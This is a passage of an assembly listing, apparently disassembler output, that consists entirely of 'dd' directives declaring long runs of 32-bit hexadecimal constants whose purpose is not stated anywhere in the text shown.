		dd 0E95C6041h, 0FF4E5AF7h, 0A7499EAh, 134E484Fh, 617974h
		dd 0EC2F538Ah, 0B4BBA41Eh, 314ED7ACh, 0B2C6DFE8h, 0BE0632DEh
		dd 26465B96h, 90B0ED0h,	0C1C0CC30h, 4AF859D0h, 55F12903h
		dd 7E41E9h, 46B3E3C1h, 4683267h, 0A3CC424Fh, 30CE58ABh
		dd 6BEDE8B1h, 50E1F258h, 0CDD2A154h, 7268B550h,	16269312h
		dd 0B9F0F0FDh, 0DA10C30Fh, 7C24B272h, 6612FB04h, 768811Dh
		dd 59458250h, 31B47E9Eh, 77B9164Dh, 30EEB88Ah, 112E0E51h
		dd 2821514Bh, 955E4730h, 65EA4520h, 0D59501D2h,	3ACA9F83h
		dd 833FCF81h, 2E252150h, 0EA610257h, 0C12FA551h, 535B9370h
		dd 0E95820BFh, 7CBFAD4Fh, 44F56B9Bh, 0F6E9195Eh, 3ABF2099h
		dd 494FF2EDh, 3BE85F2Fh, 0D782CA82h, 46270C4Fh,	0D9B42CFDh
		dd 0AA3C1462h, 885152C0h, 0CBE653E1h, 2FC570EBh, 0AF8C94Ah
		dd 74E0BEC0h, 0E2B76143h, 0A8C6FDB7h, 0D3C95B0h, 0D12F8B09h
		dd 6A8B05E6h, 490B93F6h, 805741F2h, 7670B23h, 7E0EC24Bh
		dd 8C5EA013h, 2CD39A31h, 80EC4770h, 45133BB9h, 0D1C0D92h
		dd 5ABA402Dh, 0D4169F59h, 0C31638C1h, 0D730016Ch, 6208A2BFh
		dd 9BE25838h, 0A2D39D58h, 78D9F82Ah, 67FC504Bh,	4A8B7DADh
		dd 81B190AAh, 7E1665E5h, 9E95031h, 9EF5B02h, 0CECB25E9h
		dd 0B7B9DFF3h, 93EC6B56h, 44D117C9h, 0D30EB04Ah, 0A6BA1268h
		dd 201794BEh, 0C13831BAh, 813CCBCEh, 3684EE91h,	0EC6B02A4h
		dd 0E180990Bh, 2DEB8000h, 73F4F3E0h, 79727752h,	395D04Dh
		dd 0F95494B9h, 0DBB4D1C0h, 9FE8E36Ah, 2AF90D8Bh, 0A6020ADDh
		dd 0C1655422h, 8A20BDCFh, 0DE293FDBh, 1DF54CF3h, 0C6044722h
		dd 73159F8h, 8419C2C0h,	0BC1C5FD8h, 37A99F99h, 0F2C0D24Fh
		dd 2DC0CEB4h, 970102E4h, 2AFC20ADh, 0F21904FDh,	2E97287Ah
		dd 0AC7D5DFEh, 1B2EF5h,	4A0A0387h, 1A090558h, 9A717F76h
		dd 0F41E4234h, 1284E2A9h, 0D8038009h, 4406F18h,	0DC922B35h
		dd 6540AE8Fh, 883899EAh, 416A955Dh, 6AFD080Bh, 60754119h
		dd 4984EF04h, 0AF1CFC0h, 4A317EC3h, 52328756h, 0F5493BE2h
		dd 0EBF43EEEh, 1C67B933h, 266C42C1h, 0E5752930h, 0D76885B8h
		dd 0D359EC4Ah, 5BE05DBBh, 0B0D35BB5h, 98470B3Dh, 0E0971DCFh
		dd 7E2D0002h, 5704614h
		dd 0A830EF36h, 0BCE9E667h, 0DDE69766h, 95B68E30h, 2DAC22EBh
		dd 0BE0CB134h, 1617D312h, 298041D6h, 0C14F2815h, 1DE95148h
		dd 2BD03F8Fh, 4916E0EEh, 0A2002442h, 2D4952E6h,	83243306h
		dd 0F0286670h, 88349516h, 8BE7BA00h, 97762E1Eh,	0FCBF0BF7h
		dd 5E5D00ADh, 8FE90F54h, 0B7F26C5Eh, 6FF2891Fh,	0F13CB4E0h
		dd 1C32E9E4h, 57BDBCA1h, 8B4B64AFh, 0FD094AE0h,	6205F78h
		dd 215D26ECh, 0A9CB0894h, 59EF8800h, 0B966F830h, 2277CBDEh
		dd 0F7B4AFCEh, 7D0E8D31h, 3AD841E5h, 50B05DFDh,	68045357h
		dd 7823255h, 5F7EFDABh,	719661FFh, 5D5001F1h, 6E9D997Eh
		dd 65488CF7h, 0F94CAD05h, 90CC1713h, 0F37CE977h, 249B659Dh
		dd 374C8920h, 79A13DFh,	0E4ED538h, 3FA2E210h, 0A0B5CE5Fh
		dd 91E6F87h, 0D50141A6h, 5E5AE785h, 5C880B13h, 40162CE8h
		dd 8CDFC82h, 838F110Ah,	0FA294662h, 1F10D31Bh, 80BEC9ADh
		dd 0AD912304h, 3EEB0297h, 0E057DF46h, 95037128h, 40099B45h
		dd 2083C6A1h, 5F3FE613h, 5EBECCD1h, 74BFBDC5h, 94D7F2C7h
		dd 8247100Eh, 4214AC58h, 277D1D4Ch, 6CA07535h, 3B046E92h
		dd 164A94C8h, 149FD89h,	7D6C5752h, 3971C701h, 5AD70811h
		dd 0AAD76429h, 4C689C42h, 63B67644h, 0E3264580h, 0C08555F3h
		dd 0A4F007EBh, 0FB1A73E3h, 622030CDh, 243B60FAh, 7B121DBAh
		dd 40BD3401h, 312C974Fh, 0E6BFD641h, 0E57EB87Eh, 0D339F3FBh
		dd 0A3BB6552h, 0D3BDA542h, 0EA1BF785h, 4AE98A2Ch, 0B92F0090h
		dd 2FF84503h, 3F9EEAF4h, 29045804h, 27289EC3h, 167F31A1h
		dd 0E3CF2A9Fh, 5AD028D2h, 0E7DB90BAh, 4A5264F4h, 0A22CAC79h
		dd 2A0D69F3h, 0E40CA16Fh, 1C7D28E6h, 25C63AC2h,	78825F3Ch
		dd 0B80F05A6h, 254716F0h, 0A5A25729h, 0DD2B5952h, 0BC7CE2A9h
		dd 2E297AF2h, 0A88182B5h, 72BF3776h, 4EA24EC0h,	9EF907BDh
		dd 28674888h, 384D1C94h, 0D6290933h, 0DE1C864Ch, 3D2ABF57h
		dd 0E878BE09h, 69480062h, 900AAC19h, 8267B063h,	1F68F708h
		dd 3A978F45h, 89D41A43h, 0B4B45ED9h, 0C053AF86h, 0BBDE5D0Ch
		dd 9F1217CAh, 84EE06Ah,	324EC9FCh, 4C805297h, 9549572Ah
		dd 6F6FEF69h, 0F6FE6712h, 3AC9174Fh, 935A8D2Ch,	6561242h
		dd 9F528ACDh, 0F4A5EE2Dh, 95D62505h, 1ACB531Fh,	0AD235C7Dh
		dd 5D0BA3D6h, 92D9F64Fh, 0C06DACB2h, 0B55109B6h, 0ED802684h
		dd 70A70B19h, 0B9804ED9h, 30A247B7h, 17AC0BB8h,	49D56F3Bh
		dd 0E46A58A0h, 50131B68h, 43B45F99h, 283C996Dh,	0C88F20BFh
		dd 0CA7F5870h, 0ED854329h, 8F7C4A02h, 90507727h, 0F597087Bh
		dd 0E0282698h, 0DAF74B12h, 6CAB1A04h, 0F0215B02h, 0ACB647F7h
		dd 6A5A4274h, 30716C75h, 0C01051D0h, 7C107EAh, 80CF280h
		dd 982E4CFAh, 8570E12Dh, 1D6AE780h, 72EB5D86h, 0FFD13306h
		dd 3071DF49h, 0A62B388Ah, 3761E961h, 0CF4DD17Eh, 87FB0466h
		dd 0EAE5E408h, 17BA3613h, 5AC9CB81h, 0A5B410C5h, 0CA6D5BE0h
		dd 94E9846Dh, 3158B891h, 0BA85942Bh, 0B55DF12Ch, 0AA3195CCh
		dd 0F681395Bh, 0F52D3A8Bh, 0AA6EE384h, 0ACD780A2h, 86BAB5F1h
		dd 0B80B30CBh, 56432894h, 0D911A4Fh, 5A151FFh, 0D18D68E9h
		dd 9006EBC5h, 317C38BCh, 2D0B64E4h, 376C2F72h, 0E5A4957Dh
		dd 2998BBE3h, 0EB0A1318h, 0F314AA7Ch, 85FC059Eh, 56E83AC2h
		dd 2E2CAA4Bh, 0AE9185Bh, 43B27F44h, 0B1DCCB7h, 1A8516EBh
		dd 0E9173CE0h, 0CDE57A3Eh, 36F54E9Bh, 2CD69BEFh, 0EB375498h
		dd 18D7BBC6h, 1E441AFh,	2B0FE9DDh, 5406500h, 9DA81Ch, 0CC254866h
		dd 0D70626Ch, 54717BE8h, 99E9521Eh, 480448B1h, 907892DDh
		dd 662DAD03h, 579F2A41h, 6C7D00F4h, 551D801h, 68FA2F07h
		dd 0BD31E914h, 43B34AA7h, 32AD6DDh, 389ABFD4h, 0E78147B0h
		dd 51168607h, 116CD17Dh, 4DCA0464h, 0ED5276E9h,	0F15BC971h
		dd 3D06891Dh, 0F54947F4h, 635EAE49h, 0D689C47Ch, 673D38EFh
		dd 0D23B6F41h, 8DF8C013h, 0C426577Eh, 46C40D5Fh, 0B85E3EB8h
		dd 5E90592Bh, 0E61AFAF6h, 0F3403FB1h, 667B381Ch, 0EF65E32Fh
		dd 4EE82823h, 9480A53Ah, 0A0F60932h, 9C158C68h,	53736E06h
		dd 1A16BC01h, 750C354Bh, 37E9B1BBh, 0B21AA655h,	0CF34F15Bh
		dd 0BC5A1C96h, 80B1B067h, 59CB0728h, 7023B652h,	0B45088F6h
		dd 0A2E93012h, 84FF1856h, 0CACEEF2Eh, 5301E346h, 5B506852h
		dd 0EBC645D2h, 65EC3C17h, 71DC0E75h, 0F2C30E43h, 0C803004h
		dd 0E927D389h, 0ABA075EEh, 352A7156h, 3D3049B4h, 3B5B4CC2h
		dd 0C7B7CB6h, 198E7AC6h, 7F125654h, 43807D4Ah, 902FBC67h
		dd 540D05DCh, 0E0091FACh, 84B5C0F7h, 0E3FA50BFh, 5049335h
		dd 0BF12A354h, 0A47FE9B1h, 995D94h, 7F8E985h, 684938FBh
		dd 0E215AA0Bh, 48978405h, 346E4B1Dh, 0CCF5C9DDh, 0BB37307Ah
		dd 0C0007BD2h, 95CB8149h, 4C3D7976h, 80096C57h,	168E8206h
		dd 0B800B0C8h, 73B2CC4h, 4D063F7h, 0E00E0C1h, 4A8735D8h
		dd 3A057431h, 75A739F3h, 6A279158h, 3DE3D2CAh, 40D40368h
		dd 276E5FB3h, 0FED3459Bh, 284CDAD0h, 0AF6596D8h, 5F256BD2h
		dd 5F096659h, 0FB8F4420h, 12AB1333h, 42D9EB64h,	4B6FF73Fh
		dd 4EA42729h, 253F10ADh, 2606FE46h, 0FF470E92h,	0F452A833h
		dd 7D4F39AFh, 12E880C1h, 0B787C3E9h, 0F2EFF9FEh, 8F55B2AFh
		dd 0E3A837E9h, 9738FE5Eh, 0AF5B2EE9h, 182680F9h, 0DF313465h
		dd 0ECF3B4F7h, 0D660F2FAh, 418DD90Bh, 0F62E318Dh, 0C5E84B5Fh
		dd 2B39BF09h, 76CA005Fh, 107AAE38h, 15788E9h, 8561F581h
		dd 7EC82FAh, 0A087C1EAh, 3A527B53h, 0C1E124AEh,	81913103h
		dd 4A7E680Ch, 0FAE8534Eh, 664CCF71h, 0BA3A0264h, 0E7A7CFFCh
		dd 0F729C951h, 0E9C1075Eh, 8D8108E1h, 0DD7D02E2h, 69EC2036h
		dd 9072CCCBh, 0C55FC3DEh, 8C49337Dh, 0B9095195h, 0FC76CE0h
		dd 26450C96h, 2ED877F6h, 0C5931027h, 0ECDC5796h, 5E74041h
		dd 5B592D5Fh, 0ED2F8A8Eh, 706B857Eh, 4A9AF95h, 9E54D897h
		dd 987C509Fh, 40AA5AD2h, 70C3EEF3h, 0DA9D2083h,	0D40882D5h
		dd 3E845940h, 4F219E02h, 678EC11Ch, 97CA0F05h, 47BA0405h
		dd 7442D581h, 0E1278017h, 0C53005EDh, 5D3B0C37h, 0E0294FE5h
		dd 50022204h, 4B6823EBh, 4A6EE655h, 15C2F058h, 0C86F88BEh
		dd 600B25DBh, 0B626495Bh, 22EB1116h, 42C1E8A7h,	44C47B7Ch
		dd 0F858070Bh, 164F6066h, 64DB5ACEh, 601FE912h,	5A05FA53h
		dd 3453C0EEh, 0DC64D761h, 6C49E38Ah, 4405C3DDh,	0EDFCEEECh
		dd 3C7628B1h, 0C21B8427h, 0B304FAF9h, 0EB24E475h, 80204B1h
		dd 4BE343E9h, 847FEC35h, 0E8ABC292h, 31B0F113h,	130B9216h
		dd 0DD530B54h, 0AEBD20C8h, 0E4CA8980h, 0BE5A4BD5h, 0C59A838Ah
		dd 4AB844D5h, 98DBC45h,	772C3E2Ah, 34168601h, 5B856E60h
		dd 21EA2A00h, 2CE93A0Fh, 5A203830h, 59B30768h, 0C36D5427h
		dd 9DEB9B5Eh, 5F8821Dh,	0D921F0C8h, 0C10042A6h,	44551D79h
		dd 3C5AC5E9h, 5D84B6E9h, 0F82807B6h, 0A04ECF72h, 1D22F587h
		dd 823D5F8Fh, 66F55F24h, 2D6741D2h, 0F9D311BBh,	349CC102h
		dd 0C077B4A8h, 4B5E689Fh, 2B8F36Ch, 6A934972h, 0CADDC242h
		dd 0BD52FF00h, 23298D16h, 5FC2D100h, 4FE0967Ch,	87A4C109h
		dd 14761675h, 0A95382BFh, 3816BA4Eh, 49597BECh,	0BDCBEE4Ah
		dd 0BF732B12h, 9826AAB7h, 0CAD7A77Fh, 668A41F3h, 7B118A2Fh
		dd 0FD30992Dh, 0AFD22B1Bh, 5C2D42D6h, 4F16EECDh, 0AF138BE4h
		dd 0E9C3E5F3h
		dd 6B029839h, 0FECA35EDh, 25656851h, 7C0B24F7h,	0CDF2096Bh
		dd 7E05DCE9h, 1D2D43F4h, 25043819h, 0F87D6F1Ch,	7016BF80h
		dd 217E1F5Fh, 48A109FDh, 0BC5B19F5h, 0F63F3765h, 11F59149h
		dd 0F30362E7h, 705976A4h, 64224DD9h, 6690EAA4h,	19D7F20Dh
		dd 3BD88EB1h, 0A84151EBh, 241BA16Fh, 86A3D57Eh,	0BB729D8h
		dd 4093890h, 82F37D4Ch,	0FAFEE920h, 53EDEDABh, 0C7DC60AFh
		dd 228EE452h, 0DBB71620h, 42E942B7h, 8C4FD47Dh,	310C253Ah
		dd 8209FE49h, 0D273D668h, 0D0F1C0BAh, 0BEF680EEh, 377DC6E6h
		dd 2F3A5459h, 58307C57h, 0E02F439Ch, 67791145h,	5A3434h
		dd 2047C75Dh, 7B091886h, 0DF57293Bh, 0DBB3AED1h, 3429BE2Bh
		dd 2D270BB8h, 0E949815Fh, 77265BABh, 49E8A477h,	0B45E3E68h
		dd 0D097523Fh, 0FAF362ECh, 800926BEh, 1B1C334h,	0EB88CF9Ah
		dd 8C08A81Ch, 0B8D17EB5h, 6F44204Bh, 0F9EE8790h, 8F09F99Ch
		dd 0E38DDE47h, 0AE846BDEh, 0BEF5FFF8h, 4FE9BA3Ch, 12A49486h
		dd 739EBF9Eh, 1723CE4Fh, 0D0BC822Eh, 9B0AB8F1h,	0BA8C611h
		dd 1E68532Bh, 529E96D9h, 0B6C1B387h, 5BDE3061h,	0C9D0906Ah
		dd 104DE994h, 8AEE4A1Ch, 0FD2884BEh, 33546581h,	2FD8CD2Bh
		dd 80427E5h, 0AF3795BFh, 47780689h, 692F614Eh, 45F41746h
		dd 0AC5CCD35h, 104376DEh, 0A1AB5B6Ah, 0F64630FFh, 15374217h
		dd 301AEBF0h, 6E0C728Ah, 0A217AD28h, 0F3C579E9h, 0D3DE3EA8h
		dd 2D6BA0C6h, 2AF0330Fh, 6A624492h, 5E91E6BBh, 0FB1318FCh
		dd 0C5FCA897h, 0E7FECACCh, 575A0009h, 9A19FABFh, 0E781023Ah
		dd 1B5154D4h, 91091578h, 0F821F812h, 0AA107141h, 1DC475B3h
		dd 0B500D64Ah, 9A1D0AB9h, 0BD550274h, 3A4036DCh, 0C567A0DDh
		dd 0A15529Ch, 276AE90Eh, 1EEF80D7h, 8908E7B6h, 575FFE2Fh
		dd 0FEB7F404h, 54BC3E13h, 5EEE82A4h, 32099857h,	0A73F9942h
		dd 0E95B40D5h, 98C569BFh, 0F6CE6E74h, 3B26913h,	0D2750D9Ah
		dd 41E4CF3Bh, 0BB0AEBC5h, 81441D4h, 0DBE95F11h,	3A7875B2h
		dd 190D18A0h, 209E4E9Fh, 5350B674h, 4D0B8DDBh, 75291FA8h
		dd 0C751A964h, 7047E10Ch, 48415887h, 1E066160h,	0C96BE47Eh
		dd 0EB9071E6h, 0C6FEEE87h, 0CA551907h, 54BB29CDh, 0FC57C4D0h
		dd 0F840B1CEh, 9E1EBF04h, 66771F38h, 8DE8EF12h,	98A809DFh
		dd 0ADB7EFDFh, 1CD38840h, 710AF2A4h, 9C688903h,	39BBFFA7h
		dd 787ED8E9h, 0A58FA3A7h, 378A0764h, 212C8E16h,	2746B56h
		dd 26E8C05Dh, 7BD22C79h, 0D1491262h, 2AEF91B8h,	0E0B4C122h
		dd 0B544755Dh, 0C9C38C99h, 12AF39DEh, 0A7EBD313h, 0AA2C07B4h
		dd 978ED028h, 806F0039h, 0C1807FC8h, 0F1247273h, 92E613D8h
		dd 0D8C7BCBBh, 9CBA1BE9h, 514B6639h, 723BDDADh,	1137AF9h
		dd 84BA4122h, 58080910h, 0C8CA0243h, 801930F8h,	0E406CFEEh
		dd 25EF0F6Ah, 0BBA422E9h, 9F4CC057h, 46ECE01Dh,	0F4527F94h
		dd 0C27D2715h, 69B2F9F8h, 5191F189h, 60006BE5h,	713440B3h
		dd 3E74BC1h, 4177CF62h,	0DC7538B2h, 0BD2A640h, 0A9C88ADAh
		dd 701353C2h, 50FF6E34h, 0F64E0873h, 0FFA116ABh, 43AD82Dh
		dd 762555h, 0B837A2BEh,	811CBC3Eh, 0A03803CBh, 1B772062h
		dd 5C96AD09h, 0F19A8A21h, 8FBE4A38h, 38EE5A6Bh,	2B4F4B4Ch
		dd 58E2FFB8h, 6472FBB9h, 5B0E6620h, 6721C580h, 23D7B1EDh
		dd 4F8AF4A9h, 1C521509h, 17EAF148h, 0D8AF4202h,	499D2D3Eh
		dd 0ED6F5DE7h, 236884BAh, 0EE3AD8F1h, 4AE9D73Ch, 0AFB6135Bh
		dd 4F82B606h, 90C3E00Eh, 6046712h, 430D6F52h, 0F1CC30EEh
		dd 0F58C16C9h, 0DE7209CCh, 0FABCF464h, 0BD02BFF8h, 2C6018B3h
		dd 0DD7C5562h, 53F08605h, 0CB5188C7h, 8A4D1F6h,	0C83D1270h
		dd 0D625F790h, 5E26B156h, 6EE4292Bh, 176EA229h,	35EE62Ch
		dd 0A14213C3h, 0B0C7757h, 1256C40h, 3408BBA8h, 0B914120Ch
		dd 43D4865Eh, 0D66812D0h, 51AAC874h, 575A96F2h,	889BDA30h
		dd 1AE93ADDh, 0ACCBFFB8h, 4AACF444h, 0AAE951F0h, 0C2FC55D3h
		dd 23F302B2h, 7167203Ch, 98ABB55Fh, 5E38215Fh, 0EE2B048Bh
		dd 2F48532Eh, 205D5125h, 6F1A7CBBh, 22050F02h, 5E5D9D6Bh
		dd 0ACFBC968h, 0DB98285Ah, 2D0F6795h, 55F5A9E0h, 961F709Eh
		dd 7548BF0Bh, 20573412h, 3FE3059Eh, 6478B7F3h, 3B072D51h
		dd 0C127F5F6h, 7D28CA57h, 1D681A60h, 0DC956270h, 6A85E935h
		dd 7A3DBF4Ah, 59AAA940h, 9B064CA0h, 0CD3FC902h,	27D88928h
		dd 9455F23Fh, 38934DEEh, 0A71502D1h, 5A10AEE9h,	0C2665F61h
		dd 74515915h, 2DA9F049h, 864E496Dh, 0C82B4782h,	2DA648F7h
		dd 0B291799h, 6C45EFF0h, 0C420E4A1h, 4E955C8Dh,	3C07EF11h
		dd 33C383EDh, 0F6E82541h, 0B562A5FEh, 1F165F70h, 0B62067ACh
		dd 4A679067h, 4A49EAF3h, 0EBAB5D05h, 803A6557h,	12877532h
		dd 11006F2Dh, 3F0563A9h, 3E71410Fh, 751C801h, 1202BF44h
		dd 0C664BBE9h, 0A3E09CCh, 3CC075ABh, 7867C203h,	2042BF18h
		dd 92B6C63h, 0E26619B8h, 4B18D4D4h, 16EABA46h, 113493Ch
		dd 0DF28C30Dh, 6F0B7A0Ah, 5871745Bh, 687BE1F7h,	89F9694Fh
		dd 1286FC4h, 0F667C980h, 48C60260h, 1A0DCBFh, 0BA0752D8h
		dd 31821D6h, 0B76ED086h, 0C8521579h, 82A24722h,	40966B40h
		dd 51120578h, 80FBDEF5h, 130AEF4Eh, 0E9903EF4h,	72930C4Fh
		dd 0D5CDF005h, 3B5F3F17h, 0A22C9016h, 1CD24A1Ch, 0D15C68h
		dd 763249B8h, 0E0B0571h, 6A8DB2Eh, 4D34C86h, 643FC1C7h
		dd 4785BB48h, 0F03C41BEh, 4535BB54h, 7021BBA9h,	0B723CC83h
		dd 0C6C0A949h, 2E304576h, 313B0CC1h, 942E5182h,	52080567h
		dd 9B141468h, 8A6F5E12h, 0C8FE4E18h, 0A359E97Eh, 0F3BD0091h
		dd 0BE72CB06h, 0F15E1639h, 7C32BC10h, 2B60965Bh, 89041858h
		dd 0EC133BF7h, 72DE69BAh, 0B2AF92E0h, 77578969h, 6D1FFEB0h
		dd 0CB4DD19Dh, 341F6FFDh, 0BF4EBE8Ah, 34E9C401h, 0BF5335F0h
		dd 5B13CDDCh, 2514E4BFh, 2604421Fh, 4BC50540h, 9351CEAh
		dd 2D27063Fh, 0AF2FA184h, 0ACAC8F84h, 2EB7F6F1h, 955BB49Ch
		dd 0FA7E4AA2h, 3D8453F7h, 5B408AADh, 609DE6B2h,	0B76F4A24h
		dd 48CBCBE6h, 0C0500402h, 7E3EFh, 5A9E1FB0h, 0AA7E4468h
		dd 31FF7A0Dh, 0E0B1361Dh, 0D49EE057h, 5375FEFDh, 86FBC9A7h
		dd 1817C310h, 272E457Eh, 0BED8C543h, 0C652100Fh, 1F596677h
		dd 0D3500CEFh, 0C77AA015h, 950F08A3h, 37F8E95Dh, 178679FCh
		dd 409F3CC1h, 3E385734h, 975B4389h, 0DEF7B03Dh,	144FBE41h
		dd 0A849AADh, 29E9AFD4h, 470FBFC0h, 2CB87FB5h, 0D061561Ch
		dd 10AA29D3h, 48580870h, 8212A54Eh, 57029D0Ch, 0D9407560h
		dd 5B837CE3h, 0ADC0E51Ah, 4ECCF24Eh, 9109BE5Eh,	88C677C5h
		dd 49925F97h, 0D72DC2D5h, 31C4FD34h, 26EC7BCEh,	0B54152CEh
		dd 3AEE881Ah, 1EB49BB4h, 0FCC2886h, 619C480h, 58E1F8E0h
		dd 824E29F9h, 79444268h, 0B45000EAh, 0F6FC861Ah, 5308D760h
		dd 0A84542E9h, 1647E3AFh, 0EF21B16Dh, 3FF38600h, 4E07F6DCh
		dd 2DADA405h, 0DB74B9Dh, 0DA3DE9F8h, 537C603Eh,	324BBB0Fh
		dd 292F4D6h, 99EC927h, 8335C29h, 6887792Eh, 78E417C6h
		dd 0B9B0BCB8h, 0FE3E2C74h, 54E10271h, 0DD73A92Fh, 0AA33ABE8h
		dd 299D7710h, 32C20118h, 20597998h, 2E600549h, 0D4FF559Eh
		dd 0E9080587h, 2672BC16h, 2F425631h, 0F440C825h, 2A0FB727h
		dd 0BD311164h, 88AC4E41h, 0F451D88Bh, 8CB6F7EBh, 16EB5D5Ch
		dd 0DCF2D86Ch, 3F8FE9A1h
		dd 0B168DF02h, 3F14C49h, 9C95343h, 98015746h, 26B76220h
		dd 7F28E9h, 7D3EBE3Dh, 94904F59h, 408BA1h, 2761DDBDh, 5D287Bh
		dd 0CD2CF1ABh, 0D4ED4849h, 720C3E07h, 10CFF47Ch, 1E593008h
		dd 60303CDBh, 4A381A62h, 16F0940h, 4E08D42Ah, 7AB9D8AFh
		dd 2DFB4300h, 0CB7FA1BBh, 0F331174Fh, 0FAD0BA5Eh, 0B08E8C0h
		dd 0FA24D8F6h, 0C128A901h, 75B3DDE9h, 4803EEBh,	90420848h
		dd 5CE309BFh, 427F75ACh, 5A0804B0h, 6530B9EEh, 9F08552Fh
		dd 3B0BC030h, 0C6A0125Fh, 0C946802h, 3EEC24EFh,	480ADED1h
		dd 6819703Ah, 75947BA0h, 97433160h, 0F8B1BF5Fh,	0F84ED9E1h
		dd 6A98D7F7h, 546D5164h, 7BDC2DEEh, 40069D2Ch, 8A00B196h
		dd 5966CB28h, 9005E3C0h, 20DE90E0h, 8728D37Eh, 370B7D7h
		dd 0F6DF7825h, 0B9C38274h, 0D4842A50h, 808F80FBh, 75623239h
		dd 966163Eh, 360F8200h,	96F64D43h, 0C3F5B263h, 0F582D8F8h
		dd 5F239009h, 0ED9E900Fh, 0EF3D92AAh, 21B6F4CDh, 16EA080Bh
		dd 0C28004E7h, 0C1D42850h, 0DE98EC51h, 5861B4C4h, 6DE94712h
		dd 0CB3B9265h, 3D5012F2h, 0F97ECCDDh, 0AF68C0A7h, 0BD6C2A09h
		dd 0E6090F96h, 0DF91121Eh, 2988D380h, 70B52E2Ah, 0A71DBCEEh
		dd 0C22916FDh, 0CF85E977h, 5BEDAF7h, 6A91A20h, 36CE8131h
		dd 4A58030Ah, 0AC0A8552h, 7FE9F1E3h, 0DC20E575h, 282713C7h
		dd 0E28A1EF8h, 0A2F9014Bh, 444D7098h, 0E9055504h, 89AACB62h
		dd 2FB1601Ah, 45923AB6h, 0BF0780CAh, 6438410Ch,	56A0AE21h
		dd 6A01181Ch, 436D0C09h, 31110F2Eh, 344A663Bh, 8E54B5CEh
		dd 5F2015A8h, 7521A067h, 37A94C36h, 0E3F75A75h,	288F0213h
		dd 7F5F117Dh, 70E968E0h, 0DCD1C04Fh, 0BF00EBB6h, 442C6447h
		dd 611DE37Dh, 8AAE813h,	5B07FC34h, 4B82FE29h, 281E8243h
		dd 0BF5A0589h, 7E3B6CB3h, 91D8A655h, 76E09AA0h,	0CEFE2DF6h
		dd 2690ADF0h, 6212C65Eh, 4D0BB7BAh, 0F9E91987h,	0C5D854FFh
		dd 0A8C99D63h, 75C1CEF8h, 0FEA48878h, 9D248Dh, 3B0DD5C9h
		dd 2C25681Dh, 387C4664h, 0BA4A6E16h, 0AE4F008Eh, 55299432h
		dd 0C6DCF88Bh, 0C1E1B3EEh, 445BCD30h, 4409F589h, 1A331Eh
		dd 0ADAA9D93h, 301DA6B5h, 0C16909B8h, 8000D0E6h, 59CE214Ah
		dd 98515646h, 733027BFh, 40B5EAC4h, 0BD5F6897h,	155D159Ah
		dd 4B5C9E6Ah, 0E72442C7h, 2EFFF35Eh, 1630ABF7h,	0CB6A4CE9h
		dd 2F55EB43h, 6C927F90h, 351E61ABh, 0C6297C70h,	20D740ABh
		dd 41762FA0h, 0F90F674Eh, 64258551h, 0F0CFFC47h, 612CEF32h
		dd 57C2F83Bh, 0F4553DC2h, 0F1C051FBh, 8B802B03h, 723064F2h
		dd 8D46FE2h, 0FC66C465h, 0D1F5728Ch, 0FC2D3ACAh, 0E96A3A84h
		dd 2E90FC59h, 2BCAFBACh, 8E84CA3Bh, 2B6571FAh, 1A5F03B4h
		dd 1C51B626h, 0F7895C54h, 5D7427D3h, 0DF063CF2h, 394E9E6Ch
		dd 7DBFBF09h, 457D4242h, 15E48283h, 8AC46FF1h, 9DE90880h
		dd 8B540895h, 4CB36858h, 51CB1F7Ch, 0FBDE0E09h,	3E6CF4ADh
		dd 9AF7CFA7h, 790E0FEh,	802496D0h, 0AE1AE8D5h, 0DE9FEB89h
		dd 7007EDB4h, 0EEB78797h, 4DE92A32h, 0DA949EB1h, 0A8B545DDh
		dd 23992607h, 20464309h, 0DBAA0C4Fh, 8B5C2517h,	0CE1F0688h
		dd 293A2A38h, 0B0EF33F0h, 0F7B13306h, 6AB47A86h, 0E7E92574h
		dd 67EA468Bh, 5A20597Fh, 18C35E84h, 52306152h, 53C3C4FCh
		dd 0DA91E388h, 1CA9265Bh, 0D000F02Ch, 8092B551h, 0AC6EEDCDh
		dd 4C8078Fh, 34F2F6AFh,	49C3F5A8h, 0CAC5E882h, 0ECC67FA7h
		dd 0ED204EB0h, 0F4681221h, 0F24BFC10h, 0C0BAD65Fh, 0E73DB2C7h
		dd 5AAB1B5Eh, 0FAD311F1h, 1CE1762Fh, 6FF2EC52h,	34AB180Bh
		dd 6E658C01h, 0EC057062h, 4AE4535Eh, 0EB93222h,	0FDDE9816h
		dd 74420B69h, 6C6525FBh, 74279889h, 944765A0h, 16A1FCB8h
		dd 299C838Fh, 68C30931h, 0CAD96174h, 2B47B0BFh,	3D71EDEAh
		dd 40BB7CF5h, 0EF2D04Ah, 3D7B270Fh, 4B3228E1h, 5B497BC8h
		dd 0A4D0F920h, 8B0A50AFh, 70B54120h, 857C5B16h,	8EF2AA5Bh
		dd 0D5A8D4C4h, 0FAF0001Bh, 317A154Dh, 8B18DA5Dh, 25C67B21h
		dd 68496877h, 722C5247h, 275CCC1Ch, 0BFEECD7Dh,	0F2232D62h
		dd 0FC2577D1h, 0B6538264h, 9D433096h, 5AE2F39Bh, 0A6C47FDh
		dd 81A8FA99h, 0AF4EFBC2h, 7EE56A13h, 6DE90800h,	50FEBDE7h
		dd 87D2D449h, 19086850h, 0F661EBDCh, 81FC0D0Bh,	551D3BEDh
		dd 84178FCCh, 0D08940DEh, 0E8A04035h, 862FCDB8h, 3AF63A60h
		dd 43DC5FB4h, 0EABB8249h, 5F9BFD27h, 5442E0C9h,	0FAB954EBh
		dd 0BE0056BCh, 61765859h, 12C5E681h, 1645312h, 92416092h
		dd 49C4834Dh, 0BC0B400Fh, 79DA4FFh, 3C09A898h, 856BEB65h
		dd 8AB42071h, 9051CF7h,	0B27D6F40h, 8B3C595Ch, 0AC5862E9h
		dd 0EF2054Ah, 90B5ABD3h, 0F7A1672Ch, 30EF3B14h,	59BA5251h
		dd 775B0171h, 0FE2584BCh, 7FF044C4h, 2AF36BF3h,	4C374310h
		dd 3AF539A7h, 18EC3EE6h, 0F2C7BACBh, 6D3C0917h,	975E2144h
		dd 798FBB01h, 0B33173D2h, 6B87D4F2h, 5244917h, 60A05098h
		dd 8D12BD72h, 0C759C81h, 0BB388C7Fh, 0CC58521h,	730E07F4h
		dd 0B10D30Ch, 0FD0348A1h, 295CE818h, 8D210ADh, 6140C68h
		dd 4A46EEE9h, 43B7BE04h, 9FBD6376h, 1A8C5219h, 261D2C54h
		dd 0D04225F1h, 5E2500FDh, 16009A60h, 3548E8D1h,	58452004h
		dd 0C9274E01h, 0C52548C7h, 705F8998h, 5AE17A76h, 0AA764F68h
